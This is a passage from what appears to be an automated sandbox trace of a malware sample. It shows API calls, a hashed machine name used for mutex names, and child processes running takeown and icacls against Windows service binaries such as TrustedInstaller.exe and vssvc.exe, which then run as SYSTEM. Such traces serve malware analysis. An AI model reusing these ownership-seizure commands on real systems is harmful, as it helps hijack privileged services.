ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0210.124] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0210.125] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x198f7d8 | out: BaseAddress=0x198f7d8*=0x75cf0000) returned 0x0 [0210.128] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.137] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.137] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e840) returned 1 [0210.138] FindClose (in: hFindFile=0x37fd00 | out: hFindFile=0x37fd00) returned 1 [0210.145] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e268) returned 1 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x184) returned 0x987cf8 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c240 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c900 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c948 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c990 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c9d8 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92ca20 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92ca68 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92cab0 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92caf8 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92cb40 [0210.175] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92cb88 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92cbd0 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x987ea0 [0210.176] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\msiexec.exe", pNumArgs=0x198f804 | out: pNumArgs=0x198f804) returned 0x3747a8*="C:\\Windows\\system32\\msiexec.exe" [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d288 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e268 [0210.176] LocalFree (hMem=0x3747a8) returned 0x0 [0210.176] Wow64DisableWow64FsRedirection (in: OldValue=0x198f800 | out: OldValue=0x198f800*=0x0) returned 1 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x800) returned 0x988e88 [0210.176] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x988e88, nSize=0x200 | out: lpFilename="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe")) returned 0x1f [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e840 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.176] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e840) returned 1 [0210.176] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x100) returned 0x989690 [0210.176] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x989690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0210.176] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x989690) returned 1 [0210.176] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x987ee8 [0210.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x987ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x987f30 [0210.176] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x987ee8) returned 1 [0210.176] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x987ee8 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x987f78 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x987fc0 [0210.176] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x988008 [0210.177] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x988050 [0210.177] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x988098 [0210.177] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x5000) returned 0x982850 [0210.177] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9880e0 [0210.177] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0210.177] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0210.177] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x982850) returned 1 [0210.177] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x378d80, lpbSaclPresent=0x198f634, pSacl=0x198f688, lpbSaclDefaulted=0x198f634 | out: lpbSaclPresent=0x198f634, pSacl=0x198f688, lpbSaclDefaulted=0x198f634) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9880e0 [0210.177] CreateEventA (lpEventAttributes=0x198f67c, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0210.177] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0210.177] GetLastError () returned 0x0 [0210.178] LocalFree (hMem=0x378d80) returned 0x0 [0210.178] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9880e0 [0210.178] CryptAcquireContextW (in: phProv=0x198f66c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x198f66c*=0x398640) returned 1 [0210.178] CryptCreateHash (in: hProv=0x398640, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x198f66c | out: phHash=0x198f66c) returned 1 [0210.178] CryptHashData (hHash=0x37fd00, pbData=0x987f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0210.178] CryptGetHashParam (in: hHash=0x37fd00, dwParam=0x4, pbData=0x198f670, pdwDataLen=0x198f67c, dwFlags=0x0 | out: pbData=0x198f670, pdwDataLen=0x198f67c) returned 1 [0210.178] CryptGetHashParam (in: hHash=0x37fd00, dwParam=0x2, pbData=0x9880e0, pdwDataLen=0x198f670, dwFlags=0x0 | out: pbData=0x9880e0, pdwDataLen=0x198f670) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x988128 [0210.179] CryptDestroyHash (hHash=0x37fd00) returned 1 [0210.179] CryptReleaseContext (hProv=0x398640, dwFlags=0x0) returned 1 [0210.179] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0210.179] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9880e0 [0210.179] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x988170 [0210.179] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0210.179] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9880e0 [0210.179] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0210.179] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x988170) returned 1 [0210.179] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x988128) returned 1 [0210.179] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x988128 [0210.179] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x128 [0210.179] GetLastError () returned 0x0 [0210.179] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x988170 [0210.179] CryptAcquireContextW (in: phProv=0x198f66c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x198f66c*=0x398640) returned 1 [0210.180] CryptCreateHash (in: hProv=0x398640, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x198f66c | out: phHash=0x198f66c) returned 1 [0210.180] CryptHashData (hHash=0x37fd00, pbData=0x987f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0210.180] CryptGetHashParam (in: hHash=0x37fd00, dwParam=0x4, pbData=0x198f670, pdwDataLen=0x198f67c, dwFlags=0x0 | out: pbData=0x198f670, pdwDataLen=0x198f67c) returned 1 [0210.180] CryptGetHashParam (in: hHash=0x37fd00, dwParam=0x2, pbData=0x988170, pdwDataLen=0x198f670, dwFlags=0x0 | out: pbData=0x988170, pdwDataLen=0x198f670) returned 1 [0210.180] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9880e0 [0210.180] CryptDestroyHash (hHash=0x37fd00) returned 1 [0210.180] CryptReleaseContext (hProv=0x398640, dwFlags=0x0) returned 1 [0210.180] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x988170) returned 1 [0210.180] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x988170 [0210.180] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9881b8 [0210.180] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x988170) returned 1 [0210.180] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x988170 [0210.180] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x988170) returned 1 [0210.180] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9881b8) returned 1 [0210.180] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9880e0) returned 1 [0210.180] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9880e0 [0210.180] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9881b8 [0210.180] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0210.180] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9881b8) returned 1 [0210.180] GetLastError () returned 0x5 [0210.180] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9881b8 [0210.180] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0210.180] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9881b8) returned 1 [0210.180] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x9881b8 [0210.180] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x12c [0210.181] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x9881b8) returned 1 [0210.181] SetEvent (hEvent=0x128) returned 1 [0210.181] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) Thread: id = 1053 os_tid = 0x920 Process: id = "88" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x6be41000" os_pid = "0x224" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 871 os_tid = 0x490 Thread: id = 872 os_tid = 0x38c Process: id = "89" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x69346000" os_pid = "0x39c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 873 os_tid = 0x440 Process: id = "90" image_name = "mscorsvw.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorsvw.exe" page_root = "0x6afd9000" os_pid = "0x7d8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 874 os_tid = 0x594 [0211.419] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x3df974 | out: ProcedureAddress=0x3df974*=0x770149d7) returned 0x0 [0211.419] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x3df974 | out: ProcedureAddress=0x3df974*=0x77011222) returned 0x0 [0211.419] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3df974 | out: ProcedureAddress=0x3df974*=0x77011856) returned 0x0 [0211.419] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x3df974 | out: ProcedureAddress=0x3df974*=0x7701435f) returned 0x0 [0211.420] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0211.420] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0211.420] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0211.420] VirtualProtect (in: lpAddress=0x130000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x3dfa28 | out: lpflOldProtect=0x3dfa28*=0x2) returned 1 [0211.431] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x100000 [0211.434] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0211.435] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0211.435] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0211.435] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 875 os_tid = 0x59c Thread: id = 876 os_tid = 0x318 Thread: id = 877 os_tid = 0x4fc Thread: id = 878 os_tid = 0x4c4 Thread: id = 1052 os_tid = 0x928 Process: id = "91" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x69866000" os_pid = "0x104" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 879 os_tid = 0x134 Thread: id = 880 os_tid = 0x490 Process: id = "92" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x6bd6b000" os_pid = "0x38c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 881 os_tid = 0x2dc Process: id = "93" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x68c70000" os_pid = "0x440" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 882 os_tid = 0x55c Thread: id = 883 os_tid = 0x5b4 Process: id = "94" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x68975000" os_pid = "0x4e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\vssvc.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 884 os_tid = 0x134 Process: id = "95" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x6507a000" os_pid = "0x7ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\snmptrap.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 885 os_tid = 0x654 Thread: id = 886 os_tid = 0x5b0 Process: id = "96" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x65c7f000" os_pid = "0x224" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\snmptrap.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 887 os_tid = 0x2f4 Process: id = "97" image_name = "snmptrap.exe" filename = "c:\\windows\\system32\\snmptrap.exe" page_root = "0x5e6e9000" os_pid = "0x104" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\System32\\snmptrap.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\SNMPTRAP" [0xe], "NT AUTHORITY\\Logon Session 00000000:0003414e" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 889 os_tid = 0x3e0 [0215.468] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x19f254 | out: ProcedureAddress=0x19f254*=0x770149d7) returned 0x0 [0215.468] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x19f254 | out: ProcedureAddress=0x19f254*=0x77011222) returned 0x0 [0215.468] 